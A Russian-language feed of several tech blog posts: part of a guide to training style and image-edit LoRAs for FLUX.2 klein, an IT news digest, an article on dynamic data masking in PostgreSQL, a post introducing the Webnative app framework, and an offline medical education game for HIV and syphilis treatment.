Есть одно осознанное исключение: вариации, которыми вы хотите управлять позже. Не подписывайте общий визуальный стиль, который нужен всегда, — пусть он вшивается в триггер. Но если в датасете есть явные подстили, между которыми вы хотите переключаться на инференсе, их стоит назвать. Pixel-art LoRA выше делает именно так: в нескольких её подписях вариант указан явно.

SPR1TE8. A wizard holding a staff, chibi.SPR1TE8. A treasure chest, 16-bit pixel art.SPR1TE8. A castle on a hill, 32-bit pixel art.

Именно эти слова — chibi, 16-bit pixel art, 32-bit pixel art — станут модификаторами, которые вы будете добавлять в промпт на шаге 4. Всё, что вы записали в подписях, потом можно будет подкручивать, поэтому подписывайте изображения с оглядкой на те ручки управления, которые хотите получить.

Не хотите подписывать вручную? Любая vision-модель справится с автоматической генерацией подписей, если дать ей промпт в духе «опиши только содержимое, не упоминай стиль».
Затем быстро просмотрите .txt-файлы и удалите все стилевые прилагательные, которые туда просочились.

Шаг 2. Настраиваем тренер

Если используете веб-интерфейс, достаточно заполнить форму: указать датасет, выбрать FLUX.2-klein-base-4B, задать триггерное слово и запустить обучение. Если вам удобнее YAML, пример обучения klein от BFL показывает ту же задачу в виде конфиг-файла. Для каждого запуска меняются три строки:

name: — ваша папка с результатами.
trigger_word: — должно совпадать с подписями.
datasets: folder_path: — путь к папке с изображениями.

Также задайте sample.prompts с вашим триггером, чтобы по превью-изображениям во время обучения было видно, как постепенно проявляется нужный стиль.

Шаг 3. Обучаем

В веб-интерфейсе просто нажмите Start. Через CLI:

cd /app/ai-toolkit
python run.py /workspace/configs/my_lora_klein_4b.yaml

Во время обучения тренер сохраняет чекпоинт каждые 250 шагов и рядом с каждым пишет примеры изображений. Прогон на 1800 шагов на 4090 занимает меньше часа.

Смотрите на примеры изображений, а не на loss. Именно здесь чаще всего ошибаются. Loss продолжает снижаться ещё долго после того, как изображения уже начинают переобучаться. Для большинства стилевых LoRA визуальный пик приходится примерно на 750–1500 шагов, а не на финальный шаг. Откройте примеры изображений, выберите чекпоинт, который выглядит лучше всего, и используйте именно этот .safetensors, а не обязательно последний.

Шаг 4. Используем результат

Чтобы подключить LoRA, достаточно добавить две строки поверх обычного пайплайна. Ниже — та самая pixel-art LoRA из начала гайда, загруженная прямо с Hub:

from diffusers import Flux2KleinPipeline
import torch

pipe = Flux2KleinPipeline.from_pretrained(
    "black-forest-labs/FLUX.2-klein-4B", torch_dtype=torch.bfloat16
).to("cuda")
pipe.load_lora_weights("Limbicnation/pixel-art-lora")

img = pipe(
    prompt="pixel art sprite, a brave knight in shining armor, game asset, transparent background",
    num_inference_steps=4, guidance_scale=1.0,
    height=512, width=512,
).images[0]

Эта LoRA также реагирует на стилевые модификаторы: добавьте в промпт 16-bit pixel art, 32-bit pixel art или chibi, чтобы сдвинуть визуальный стиль. Все эти модификаторы пришли из подписей, на которых её обучали. В этом и состоит отдача от хорошо собранного датасета: слова, которым вы обучаете модель, потом становятся ручками, которые можно крутить на инференсе.

Если хотите использовать свою LoRA, укажите в load_lora_weights путь к вашему .safetensors или к вашему репозиторию на Hub и подставьте своё триггерное слово.

Обучение идёт на base-4B, а инференс — на distilled-версии FLUX.2-klein-4B на 4 шага, как в примере выше. При применении LoRA к distilled-модели результат обычно получается лучше, чем на базовой модели, и работает это быстрее, поэтому обученную LoRA рекомендуется запускать именно так.

Если не хочется писать код просто ради проверки результата, в стартовом Space для Build Small есть отдельная вкладка: она загружает LoRA и рендерит базовую и дообученную версии с одинаковым seed, чтобы можно было сразу увидеть, что именно изменил адаптер.

Обучаем LoRA для редактирования

FLUX.2 [klein] также поддерживает редактирование, поэтому можно обучить и LoRA для редактирования: подаёте фотографию, на выходе получаете её преобразованную версию — с перекрашиванием, сменой стиля, добавлением или удалением объекта, заменой фона. В klein оба режима идут через один пайплайн: Flux2KleinPipeline работает как text-to-image, если не передавать image=, и как image-edit, если image= передан. Поэтому LoRA для редактирования — это просто LoRA, в датасете которой рядом с каждым target есть входное изображение. Модель та же, тренер тот же — всё отличие только в данных.

Для конкретики вот LoRA, которую я обучил для этого гайда: stephenbtl/ugly-kontext-klein-4b-lora под Apache 2.0. Она берёт фотографию питомца и перерисовывает её в нарочито грубый «ugly sketch», сохраняя позу и композицию исходника. Обучение шло на 120 парных примерах: входная фотография плюс выходной скетч.

LoRA в действии: на вход подаётся фотография слева, на выходе получается «ugly sketch» справа, при этом поза и кадрирование кота сохраняются. Это результат промпта change the photo the cat into an ugly sketch of the same cat, запущенного на пайплайне base-4B с подключённым адаптером.

По сравнению с рецептом для стилевой LoRA меняются три вещи.

Датасет становится парным. Вместо одной плоской папки нужны две:

ugly_kontext/
  reference/   inputs         100.jpg, 101.jpg, ...
  target/      edited outputs 100.jpg, 101.jpg, ...
               + captions     100.txt, 101.txt, ...

ai-toolkit сопоставляет reference/<id> с target/<id> по имени файла без расширения; подписи лежат в папке target. Чистая пара «вход, выход» даёт больше сигнала, чем одно текстовое описание, поэтому примеров нужно меньше: 50–200 пар вполне достаточно. Для этой LoRA использовалось 120.

2. Подпись — это инструкция, а не описание. Подпись для стилевой LoRA описывает, что находится на изображении. Подпись для LoRA редактирования описывает трансформацию, которую нужно применить. У ugly-kontext подписи выглядят просто так:

change the photo the cat into an ugly sketch of the same cat
change the photo the dog into an ugly sketch of the same dog
change the photo the animal group into an ugly sketch of the same group

Здесь не нужен выдуманный триггер. Держите формулировку трансформации одинаковой по всему датасету, и повторяющаяся фраза — в этом случае ugly sketch — сама станет активационной фразой при инференсе. При желании можно всё равно добавить trigger_word: для более жёсткого включения, но для редактирования это необязательно.

3. Одна строка в конфиге. Добавьте control_path: рядом с folder_path: и укажите в нём папку reference. Именно эта строка превращает стилевую LoRA в LoRA для редактирования:

datasets:
  - folder_path:  "/workspace/datasets/ugly_kontext/target"     # outputs + captions
    control_path: "/workspace/datasets/ugly_kontext/reference"  # inputs ← makes it an edit LoRA
    caption_ext: "txt"
    resolution: [512]   # match your source; bucketing higher just upscales

Всё остальное — arch: "flux2_klein_4b", сеть 128/64/64/32, lr: 1e-4, flowmatch, обучение на base-4B — остаётся таким же, как в конфиге для стилевой LoRA. LoRA для редактирования тоже обычно достигают визуального пика где-то между 1000 и 1750 шагами, поэтому чекпоинт выбираем глазами, как и раньше. В указанном выше репозитории лежат все чекпоинты с 250 до 2000 шагов, чтобы их можно было сравнить.

На инференсе вы передаёте входную фотографию. Этот пример загружает опубликованную LoRA прямо с Hub и запускает её на distilled-модели:

import torch
from PIL import Image
from diffusers import Flux2KleinPipeline

pipe = Flux2KleinPipeline.from_pretrained(
    "black-forest-labs/FLUX.2-klein-4B", torch_dtype=torch.bfloat16
).to("cuda")
pipe.load_lora_weights(
    "stephenbtl/ugly-kontext-klein-4b-lora",
    weight_name="ugly_kontext_klein_4b_v1.safetensors",
)

reference = Image.open("your_pet.jpg").convert("RGB").resize((1024, 1024))
img = pipe(
    prompt="change the photo the cat into an ugly sketch of the same cat",
    image=reference,
    num_inference_steps=4, guidance_scale=4.0,
).images[0]

Для klein ширина и высота должны делиться на 16, а (W·H)/256 должно быть не больше 4096; 1024×1024 подходит.

Датасет состоял только из кошек, собак и групп животных, но трансформация обобщается: подайте на вход здание, и модель всё равно применит то же редактирование — «перерисовать как скетч»:

Объект, которого не было в обучающем наборе. LoRA выучила именно редактирование — сохранить структуру и перерисовать её в виде линейного рисунка, — а не просто «как рисовать кошек».

Самое сложное в LoRA для редактирования — не обучение, а данные. Пары «до/после» не появляются сами собой из папки с красивыми картинками. Обычно их собирают одним из трёх способов:

переиспользуют существующий Kontext-style датасет для редактирования — именно так сделана ugly-kontext: её пары изначально собирались для FLUX.1 Kontext;
генерируют целевые изображения программно — например, red-zoom LoRA в стартовом Space просто кропает и апскейлит выделенную область, без ручного редактирования;
или один раз прогоняют набор входных изображений через существующую edit-модель и оставляют удачные результаты.

Один нюанс из этого запуска: в ugly-kontext есть 120 пар, но всего три формулировки подписи. Модель хорошо попадает в саму трансформацию, но плохо обобщается на промпты, сформулированные иначе. Если хотите, чтобы она понимала более свободные инструкции, варьируйте формулировки по всему датасету — достаточно 5–10 вариантов.

Заворачиваем всё в Gradio-приложение

Для этого хакатона нужно отправить Gradio-приложение на Space. Если хотите упростить себе жизнь, можно взять готовый вариант. Стартовый Space для Build Small в одном месте умеет text-to-image, редактирование изображений, запуск LoRA и содержит гайд по обучению. Дублируете его через меню в правом верхнем углу Space — и через пару минут у вас уже есть рабочее klein-приложение в вашем аккаунте: без токена и без дополнительной настройки. После этого можно обрезать его под свою идею.

Если хотите обучить LoRA, вычисления всё равно понадобятся. Но всё остальное можно запускать прямо внутри этого Space.

Пара нюансов, которые стоит знать перед публикацией:

Хостинг ZeroGPU Space требует HF PRO ($9 в месяц) на личном аккаунте. Без этого Space всё равно можно продублировать, и он будет работать у тех, у кого он есть, а также бесплатно запускаться на любой вашей CUDA-машине. 4B-модели нужно около 13 ГБ VRAM, поэтому Space без GPU её не потянет.
Добавьте peft в requirements.txt. Без него pipe.load_lora_weights() падает с ошибкой "PEFT backend is required": Space с LoRA соберётся, но упадёт уже во время выполнения.

Подведем итоги

Весь цикл выглядит так: 15–40 изображений, подписи только с описанием содержимого и выдуманным триггерным словом, неизменённая строка arch и чекпоинт, выбранный глазами примерно в диапазоне 750–1500 шагов. Именно это обычно отделяет аккуратную стилевую LoRA от переобученной. Для LoRA редактирования вместо одной папки берём парные папки reference/ и target/, пишем подпись как инструкцию и добавляем одну строку control_path: — всё остальное остаётся тем же. Затем заворачиваем результат в Gradio-приложение и публикуем Space.

Ссылки

Модели: FLUX.2-klein-4B (distilled, на ней запускаем инференс) · FLUX.2-klein-base-4B (base, это цель для обучения) — обе под Apache 2.0
LoRA для редактирования из этого гайда: stephenbtl/ugly-kontext-klein-4b-lora
Стартовый Space для дублирования: klein Build Small starter
Хакатон: Build Small
Документация: klein LoRA training · worked example
Тренер: ostris/ai-toolkit
Gradio: docs · quickstart · Spaces SDK · ZeroGPU · Server mode

Работа с LoRA не заканчивается на обучении адаптера: результат ещё нужно встроить в понятный сценарий, научиться управлять генерацией и довести до рабочего инструмента. Продолжить разбираться в прикладном использовании ИИ можно на бесплатных уроках. Преподаватели-практики расскажут про свои подходы, а участники смогут познакомиться с форматом обучения и задать вопросы.

18 июня, 20:00. «Автоматизация креативного контента». Записаться
22 июня, 20:00. «Продвинутое структурирование промптов: как получать предсказуемый результат». Записаться
29 июня, 20:00. «Обзор ИИ-технологий для разработчиков: от идей до рабочих решений». Записаться

Больше бесплатных уроков июня смотрите в дайджесте.

Anthropic выпустили Mythos, а в России заблокировали Python

Wed, 10 Jun 2026 16:45:18 +0000

17-й выпуск IT-новостей от OpenIDE!

Anthropic за одну неделю успели опубликовать страшную статью про рекурсивное самосовершенствование ИИ и выпустить публичную версию Mythos. В России на несколько часов заблокировали Python, а GitHub продолжает страдать от 17 млн AI-сгенерированных PR в месяц.

Дайджест также доступен в формате видео:

Anthropic: ИИ начал строить себя

4 июня Anthropic опубликовали статью When AI Builds Itself с внутренней статистикой. Сейчас более 80% кода в основной кодовой базе Anthropic пишет Claude. До запуска Claude Code в феврале 2025 года эта цифра была в районе нескольких процентов. За тот же период средний инженер компании отгружает примерно в 8 раз больше кода в квартал. На открытых задачах без заранее заданного решения Claude справляется в 76% случаев — в сентябре 2025 было 25%.

Ещё одна цифра: внутренняя модель Mythos Preview ускорила тренировочный код в 52 раза по сравнению с исходным бенчмарком. Claude Opus 4.5 в ноябре 2025 выбирал лучший следующий шаг в исследовательских сессиях чаще человека в 51% случаев, Mythos Preview в апреле 2026 — уже в 64%.

Всё это Anthropic называет началом рекурсивного самосовершенствования: моделей, которые ускоряют создание следующих поколений моделей. Компания при этом выступает за механизм координации, который позволил бы приостановить разработку frontier-моделей при необходимости.

Через пять дней Anthropic выпустили Mythos в паблик

9 июня Anthropic выпустили Claude Fable 5 — первую публично доступную версию Mythos, той самой модели из статьи выше. До 22 июня доступна в Pro, Max, Team и Enterprise-планах без доплаты, с 23 июня переходит на кредиты.

Модель позиционируется как лучшая у Anthropic по инженерным задачам, работе со знаниями и зрению. В высокорисковых областях — кибербезопасность, биология, химия — жёсткие ограничения с откатом на Opus 4.8.

Самое интересное из этого релиза то, что Anthropic по сути отказываются от подписочной модели. Мягко, но отказываются. Дали попробовать всем на 2 недели, а дальше только жёсткая тарификация без субсидий за инференс через подписки. Видимо, это была пророческая статья: Каждая AI‑подписка — это бомба замедленного действия для корпоративного сектора.

Мониторинг JVM в OpenIDE

В OpenIDE добавили Profiling Tools — плагин для мониторинга JVM-приложений. Показывает список запущенных локально процессов с PID, версией JVM, аргументами и system properties.

По каждому процессу — графики CPU, Heap, Non-Heap Memory и GC Load.

Можно подключиться к уже запущенному приложению или запустить его через Run-конфигурацию с мониторингом сразу.

Отдельная вкладка с потоками: фильтрация по имени и состоянию, сортировка по загрузке CPU и памяти, stack trace с навигацией к коду в редакторе.

GitHub трещит под нагрузкой AI-агентов

В марте 2026 AI-агенты генерировали 17 млн pull request'ов в месяц — против 4 млн в сентябре 2025. Использование GitHub Actions выросло с 500 млн минут в неделю в 2023 году до 2,1 млрд в начале 2026-го. В первую неделю апреля произошло пять отдельных инцидентов: Copilot лежал 2,7 часа, code search — 8,7 часов, время ожидания агентских сессий в пике доходило до 54 минут при норме 15–40 секунд, 84% запросов в момент пиковой нагрузки завершались ошибкой.

Самое главное, чтобы работала возможность нажимать звёздочки! А коммиты, PR и GitHub Actions это так, баловство.

Axelix

Axelix — open-source инструмент для дебаггинга, тестирования и мониторинга Java/Kotlin Spring Boot приложений в реальном времени. Основная идея — без перезапусков и JDWP-дебаггеров отвечать на вопросы, которые иначе съедают часы: какой бин оказался в контексте и почему, откуда пришло это property — из YAML, переменной окружения или ConfigMap, почему эндпоинт отдаёт закешированный ответ после обновления базы.

Из конкретного: инспекция бинов и конфигурации в runtime, смена уровней логирования на лету, thread dumps и heap exports, включение и выключение scheduled tasks и кешей без передеплоя. Мониторинг нескольких инстансов и окружений из единого дашборда.

Axelix. Элитный спецназ для Вашей Spring Boot экосистемы.

В России заблокировали PyPI

1 июня pypi.org стал недоступен для российских пользователей на несколько часов. Разработчики не могли устанавливать пакеты ни локально, ни в облачных окружениях. РКН свою причастность отверг — по всей видимости, pypi.org попал под блокировку по смежному IP. К вечеру доступ восстановился.

Nemotron 3 Ultra

1 июня на Computex Jensen Huang анонсировал Nemotron 3 Ultra, 4 июня NVIDIA выложила веса.

550 млрд параметров, 55 млрд активных (MoE), архитектура Hybrid Mamba-Attention. Более 300 токенов в секунду, по заявлению компании — в 5 раз быстрее предшественников, на 30% дешевле в инференсе. Intelligence Index: 48 — лидер среди американских open-weights моделей, хотя отставание от китайских конкурентов сохраняется (Kimi K2.6 — 54).

Веса открытые, доступны через NVIDIA NIM. Модель ориентирована на долгие агентные сессии: долгосрочное планирование, анализ больших данных, сложный кодинг. Попробовать можно в OpenCode.

Уже сейчас OpenIDE позволяет разрабатывать проекты на Java, Spring, Python, Go, JavaScript и TypeScript! А поддержка Docker и 300+ плагинов доступны абсолютно бесплатно в маркетплейсе. Пробуйте российскую IDE в деле и подписывайтесь на нас в Telegram или Max, чтобы не пропустить свежие обновления и полезные материалы.

transp_anon – динамическое маскирование через Access Methods в PostgreSQL

Wed, 10 Jun 2026 16:14:59 +0000

Меня зовут Илья Рожнёв, я разработчик СУБД в ”Тантор Лабс”. Мы могли с вами видеться на московском PG BootCamp Russia 2026 где я выступал с докладом про OLAP-нагрузки на реплике. Это моя первая статья на Хабре, поэтому буду рад вашему фидбеку.

Вступление

Enterprise-разработка рано или поздно сталкивается с классической задачей: нужно выдать доступ к базе данных аналитикам, тестировщикам или саппорту в проде, но при этом необходимо скрыть персональные данные или коммерческую тайну. В прошлой статье, Александр Дубов рассказывал о pg_anon – инструменте статического маскирования данных, которое отлично подходит для случаев, когда таблица копируется полностью. Но что если “замаскировать” нужно просто результат какого-либо запроса? Здесь пригодится маскирование динамическое, и сегодня я расскажу об инструменте transp_anon, который входит в новый релиз СУБД Tantor Postgres 18.

Вообще, поскольку в ванильном PostgreSQL «из коробки» полноценного динамического маскирования на уровне ядра нет, задачу приходится решать с помощью расширений или сторонних инструментов, таких как:

pg_anonymize
postgresql_anonymizer
другие инструменты маскирования, например, через прокси.

Нам понравилось решение pg_anonymize. Мы активно использовали и развивали этот инструмент, сделав свой форк transp_anon, но в процессе эксплуатации мы столкнулись с архитектурными ограничениями оригинального расширения, которое приводило к утечкам данных. Чтобы понять, из-за чего маскируемые данные могли попасть “не в те руки”, пришлось разобраться в том, как работала старая архитектура.

Как работала legacy-архитектура transp_anon

Разработчик схемы базы задает для колонок таблицы правила маскировки. Для обычных пользователей данные не меняются, но если к базе подключился пользователь с меткой MASKED, расширение включается в работу.

-- создадим маскируемую роль
CREATE ROLE skynet LOGIN;
GRANT SELECT ON TABLE people TO skynet;
SECURITY LABEL FOR transp_anon ON ROLE skynet IS 'MASKED';

-- добавим правила маскировки для колонок
SECURITY LABEL FOR transp_anon ON COLUMN people.lastname
  IS 'MASKED WITH FUNCTION transp_anon.fake_last_name()';

SECURITY LABEL FOR transp_anon ON COLUMN people.phone
  IS 'MASKED WITH FUNCTION transp_anon.partial(phone,2,$$******$$,2)';

--меняем роль на маскируемую
ALTER ROLE skynet;

select * from people;
id  | firstname | lastname  |   phone
----+-----------+-----------+------------
T1  | Sarah     | Stranahan | 06******11

Здесь магия маскировки работает через подход, называемый Query Rewriting. На этапе post_parse_analyze расширение “смотрело” на сам запрос и модифицировало его, подменяя прямой доступ к колонкам, на вызов функций. В псевдокоде это выглядит так:

-- оригинальный запрос, правила маскировки мы создали выше
SELECT * FROM people;
-- после того как transp_anon обработал запрос
SELECT 
  id,
  firstname,
  transp_anon.fake_last_name() AS lastname,
  transp_anon.partial(phone, 2, '******', 2) AS phone 
FROM people;

Для простых кейсов, как SELECT выше, все работает идеально. Executor и Planner сами решают, как максимально быстро выполнить запрос оптимальным способом. Но реальные запросы далеко не таковы...

Почему не подходил Query Rewriting?

Как только начали тестировать реальные запросы в реальных сценариях использования, то сразу стали получать критические проблемы с утечкой данных. Что, например, произойдет, если пользователь выполнит один из следующих сценариев?

Вызов процедур и функций (и, не дай Бог, функции написаны на C...)
Использование prepared statements
Запросы к VIEW
Наследуемые таблицы

Если со временем мы и научились перехватывать сценарии выше, то на каких-нибудь более комплексных сценариях все ломалось, например:

CREATE VIEW complex_people_view AS 
  SELECT concat(id::text, 2) AS mixed_id, data || 'some_postfix' AS masked_data 
  FROM people;

Чтобы понять, что внутри строковых конкатенаций спрятана маскируемая колонка, нужен полноценный парсер, способный распутать граф зависимостей внутри СУБД. И чем больше кейсов мы проверяли, тем больше понимали, что подход с подменой запроса – это тупик, который тяжело поддерживать без риска утечки данных.

Наше решение: маскирование на этапе выдачи кортежа.

Мы задумались о том, как же все-таки прогарантировать 100% защиту от утечки данных. Как не выдать конфиденциальные данные, несмотря на сложность SQL-запроса? Что если у пользователя расширение работает напрямую с Postgres API?

Решение было на поверхности: зачем маскировать сам запрос, если можно маскировать сами данные! Когда Executor обращается к данным, он делает это через AM (Access Methods), например как slot_getnext, и мы перехватываем этот процесс. Мы получаем кортеж, смотрим в системный каталог(pg_seclabels), проверяем, есть ли для данного Relation правила маскировки, и модифицируем значение в кортеже. Выглядит это примерно так:

typedef struct MaskingAmWrapper
{
    TableAmRoutine          base;   /* copy of the original AM */
    const TableAmRoutine    *orig;  /* pointer to the original AM */
    ParsedSeclabels*    rules; /* cached masking rules */
} MaskingAmWrapper;

static bool
transp_anon_generic_getnextslot(TableScanDesc scan,
                                ScanDirection direction,
                                TupleTableSlot *slot)
{
    MaskingAmWrapper *wrapper = (MaskingAmWrapper *) scan->rs_rd->rd_tableam;
    bool ok = wrapper->orig->scan_getnextslot(scan, direction, slot);

    if (!ok)
        return false;

    if (transp_anon_mask_slot(scan->rs_rd, slot, wrapper->rules))
    {
        ExecClearTuple(slot);
        ExecStoreVirtualTuple(slot);
    }
    return true;
}

Для Postgres этот процесс становится абсолютно прозрачным. Планировщик и исполнитель думают, что работают с самыми обычными данными из таблицы. Нам больше не надо парсить сложные запросы, раскручивать вложенные VIEW. Любой доступ к таблице, как бы он глубоко ни был спрятан, всё равно будет проходить через наши обертки.

Однако проблемы выплыли в другом месте.

Производительность

С новым подходом всё было здорово, но поскольку маскировка стала работать в Postgres куда глубже, мы теряем контекст SQL-запроса. Мы попросту больше не знаем, какие именно колонки запросил пользователь и какие строки должны быть отфильтрованы.

Проблема 1:

сделаем таблицу:

CREATE TABLE test_table (col1 text, col2 text, col3 text, col4 text);
-- на все колонки создадим правила маскировки

и выполним запрос:

SELECT col1 FROM test_table;

transp_anon 1.0 видел, что запрашивается только колонка col1, и подменял только ее, другие маскировки в запросе не участвовали.

transp_anon 2.0 не знал, что нужно пользователю, – он видел только данные и какие маскировки применять.

Если в качестве маски используются легковесные константы (например MASKED WITH VALUE 'hidden'), то разница незаметна. Но если использовать тяжелые функции псевдо-анонимизации, внутри которых зашита логика хэширования, обращения к словарям, то разница улетала в космос.

Проблема 2:

Что если запрос будет выглядеть так:

SELECT  FROM test_table WHERE masked_col3 = 'И*Н' AND masked_col2 = 'И***ИЧ';

Когда кортеж попадает в slot с диска, он уходит на фильтрацию. В псевдокоде это выглядит так:

if (transp_anon.mask_func(tuple.col3) != "И**Н") { return false; }
    if (transp_anon.mask_func(tuple.col2) != "И***ИЧ") { return false; }
    return true;

Очевидно, если не прошло первое условие, то не нужно проверять второе, да и вообще, не нужно маскировать данные. Но в нашем случае маскировка прошла еще до этапа фильтрации, и это тоже негативно влияло на производительность.

Красивое решение производительности: Custom Scan

Для решения проблемы мы используем Custom Scan. Этот механизм позволяет вмешаться в процесс построения плана запроса и заменить стандартные методы сканирования на кастомные. Благодаря внедрению Custom Scan в transp_anon мы смогли вернуть контекст маскирования, сохранив при этом надежность маскирования на уровне кортежей.

Проекция колонок: Теперь на этапе планирования наш Custom Scan узел точно знает, какие именно колонки реально затребованы в SELECT. Мы динамически отключаем вызовы маскирующих функций для тех колонок, которые физически не участвуют в формировании ответа.
Ленивое маскирование и Pushdown-фильтры: Мы научили transp_anon координировать маскирование с фильтрами. Если строка не проходит условия выборки, тяжелые псевдо-функции анонимизации для неё просто не вызываются.

В итоге это позволило совместить в transp_anon безопасность и скорость работы!

Заключение

Перенос логики маскирования с уровня синтаксической перезаписи SQL-запросов на уровень физических кортежей с использованием Custom Scan позволил нам закрыть все критические бреши в безопасности transp_anon. Теперь ни сложные View, ни prepared statements, ни вложенные вызовы функций не приведут к случайной утечке защищаемых данных.

А как вы решаете задачу маскирования данных в своих проектах? Сталкивались ли с утечками при использовании стандартных View? Поделитесь опытом в комментариях!

Другие статьи о нововведениях релиза СУБД Tantor Postgres 18 (список пополняется):

Я устал от Electron, Tauri и Neutralino — и случайно сделал… лучше?

mindw1n — Wed, 10 Jun 2026 16:10:34 +0000

Всё началось с, казалось бы, простого желания

Мне хотелось написать небольшое приложение. Я работаю fullstack‑разработчиком, поэтому для разработки я решил использовать web‑технологии. Мне хотелось, чтобы я мог написать код один раз, и чтобы он запускался на всех моих устройствах (windows, linux, android).

Самое главное: написать приложение быстро

Мне хотелось использовать готовые инструменты. Я был уверен, что их мне будет достаточно. Посмотрел на существующие решения: electron, neutralinojs, apache cordova, tauri, capacitor, ... Все они мне не нравились по разным причинам. Разберём основные моменты:

Electron — в каждое приложение (даже в мой hello world) запихивает chrome (130mb). Для моего простейшего приложения — это очень плохо. Не умеет упаковываться в мобильное приложение.

Neutralinojs — backend нужно писать на c++, также не умеет в мобилки.

Apache cordova, capacitor — умеют упаковываться только в мобилки. Capacitor умеет упаковываться (с помощью electron) в десктоп, но проблему electron мы обсудили.

Tauri — хороший инструмент. Но он не для меня, не хочу писать на rust. Хочу всё приложение писать на typescript, к которому привык. Порог входа этого инструмента слишком высокий

Wails — тоже хороший, но использует Go.

PWA — хочется именно нативное приложение, которое можно было бы распространять в google play + проблема десктопа остаётся.

В общем, мне не нравилось, что при выборе мне всегда нужно с чем‑то мириться. Я подумал: а что если просто взять системный WebView и Node.js, и склеить их вместе?

Если не нашёл подходящее чужое, то напишу своё?

В какой‑то момент я решился погрузиться в разработку. Спустя вот уже два года (от идеи до работающей реализации), я представляю вам:

Webnative — Build Web, Ship Anywhere (такой слоган придумал)

Фреймворк объединяет лучшие стороны остальных других инструментов:

Не тащит за собой chrome.
Позволяет использовать js/ts и на бэке и на фронте.
Одна кодовая база для всех платформ сразу.
Абстракция апи от реальной реализации на платформах.
Старается изо всех сил дать ощущение «работает как магия» — удобный dx.

Главная цель проекта -

позаботиться о fullstack разработчиках, дать им удобный и простой инструмент для сборки приложений под любые платформы.

На данный момент поддерживаются linux, windows и android. Далее планирую поддерживать и остальные платформы: macos, ios.

Как начать пользоваться:

npm install -g @mindw1n/webnative

webnative init my-app && cd my-app

webnative build linux

Всё! Через 7 секунд у тебя готовый AppImage.

Довольно простой синтаксис: webnative build <platform>. При этом <platform> — это windows, linux, android или all (все по очереди).

Структура проекта тоже очень простая:

my-app/

app/ # любой фреймворк: React, Vue, Svelte, vanilla

app/backend/ # Node.js, точка входа index.ts / index.js

webnative.json # конфиг

Внутри app и backend есть по папке api, чтобы удобно абстрагировать специфичный для платформы код. Также я написал и опубликовал библиотеку webnative‑core, она позволяет необходимые апи для десктопа. Апи для мобильных устройств можно взять у Capacitor, они работают из коробки без проблем.

Как это работает изнутри (только для очень любопытных)

Если тебе интересно только «поставил и работает» — листай до следующего раздела. Здесь для тех, кто хочет понять, что происходит под капотом.

C++ хост‑процесс запускает два дочерних процесса: WebView с твоим фронтендом и Node.js с твоим бэкендом. C++ при запуске nodejs открывает pipe и передаёт fd процессу nodejs. Тот в свою очередь запускает http сервер и отправляет по трубе (pipe) данные:

{ "port": number, "key": string }

Эти данные нужны для того, чтобы фронтенд мог напрямую разговаривать с бекендом по защищённому каналу. Защищён он ключом «key», который сервер генерирует и при запросе проверяет.

Всё максимально кастомизируемо: бекенд пишется разработчиком, фронт тоже. С++ нужен был только чтобы их подружить.

Думаю, остальные детали реализации я опишу уже в документации к проекту.

Бенчмарки

Давайте сравним Webnative и Electron (самый популярный фреймворк для создания приложений на десктоп)

Все замеры — на реальных hello‑world проектах. webnative app с фронтендом и Node.js бэкендом против стандартного electron-builder

Время сборки

webnative build linux   —   7.4 сек
electron-builder        —   19.3 се

Webnative собирается в 2.6 раза быстрее!

Размер дистрибутива

webnative (fullstack AppImage)       —   36 МБ
webnative (frontend-only AppImage)   —   1.1 МБ
Electron AppImage                    —   130 МБ

36 МБ против 130 МБ — потому что мы не тащим Chromium. А если бэкенд не нужен, то 1.1 МБ — это просто нативное окно с WebKit внутри.

Потребление RAM

webnative (+ системный WebKit)   —   ~300 МБ
Electron                         —   ~566 МБ

Важная оговорка: WebKit в случае webnative — системный, он уже есть на машине. webnative его не устанавливает и не дублирует. Electron же тащит свой Chromium в каждое приложение отдельно.

Заключение

Если у Вас остались вопросы или вы хотите присоединиться к проекту, то вот ссылка на github проекта: https://github.com/kl1ro/webnative.git

Также прикрепляю пример использования: https://www.youtube.com/watch?v=BdnwlwOvEts

Спасибо, что дочитали это до конца! Рад, что вам была интересна моя работа!

Медицинское обучение через игру: симулятор лечения сифилиса и ВИЧ

marketglare — Wed, 10 Jun 2026 16:04:10 +0000

В мире — миллионы заражений сифилисом и ВИЧ, и цифра растёт. Но мой пост не об этом.
Я решил техническую задачу: как сделать медицинский образовательный инструмент, который работает офлайн, не требует бэкенда и не собирает данные пользователей, используя веб‑технологии JS. Ведь в медицине приватность — это требование.

Код открыт, лендинг и игры доступны по ссылке.

При разработке я ориентировался на:
1. Анонимность — без сервера, без регистрации и сбора данных.
2. Мультиязычность. Без перезагрузки страницы.
3. Оптимизация. Возможность выбирать 30/60fps при двойном клике на старт (сбалансированный/производительный режимы)

Архитектура

index.html (лендинг)

├── /syph/index.html

└── /hiv/index.html

└── /…/..

Особенность реализации

1. Ускоренная игровая механика. Сжатие времени: 30 секунд = 24 часа

Ускорение в 2880 раз нужно, чтобы игрок за 5 минут ощутил неделю терапии. В реальной жизни, вирусная нагрузка растёт медленно, и последствия пропуска таблетки видны не сразу. В игре — уже через 30 секунд. Это и есть педагогическая цель: показать, как быстро всё идёт к критической точке при нерегулярном приёме либо его отсутствии. Иммунитет со временем восстанавливается, но медленно.

Hiv simulator

2. Упрощенные схемы лечения

Для удобства, сделал одну кнопку, запускающую прием лекарства. В реальности, схемы могут быть более индивидуальными и сложными.

3. Количество инфекционных агентов

2³⁰ — миллиард. Примерно столько в организме, через месяц после заражения. Сколько отрисовывать на экране? В симуляторе, одна трепонема символизирует целую популяцию,а старт начинается с 3–5 объектов. Почти сразу можно заметить, что чем раньше начинается лечение, тем выше вероятность успеха.

Syph. simulator

4. При переключении вкладок: таймер идёт, а отрисовка останавливается

Для MVP — решил оставить как есть. Это — поведение браузера.

Планы

Добавить уровни сложности. В сложном режиме:
Запуск не с 3–5 единиц, а со 100 единиц
Вероятность перехода в спящую форму: 50%
Время в спящем режиме: 100–300 s.

const CONFIG = {
 gameday_s: 60,
 division_period_real_s: 30,
 divisionAnim_s: 1.2,
 startCount: 1,
 startCountMin: 3,        // минимальное количество бактерий при запуске   
 startCountMax: 5,        // максимальное количество бактерий при запуске
 maxSpirals: 1500,
 killMaxCharges: 2,
 killCooldownBetweenUses_s: 30,
 sleepProbabilityOnKill: 0.3,       // вероятность перехода в защитную L-форму
 sleepDurationRange_s: [60,180],   // время нахождения в спящей L-форме
 lodThreshold: 150,
 maxDetailedTubularSegments: 200,
 minRenderIntervalMs: 1000/30,
 highPerfRenderIntervalMs: 1000/60,
 dynamicRenderScale: 0.75,
 lowRenderScale: 0.5,
 perfSamplingMs: 2000,
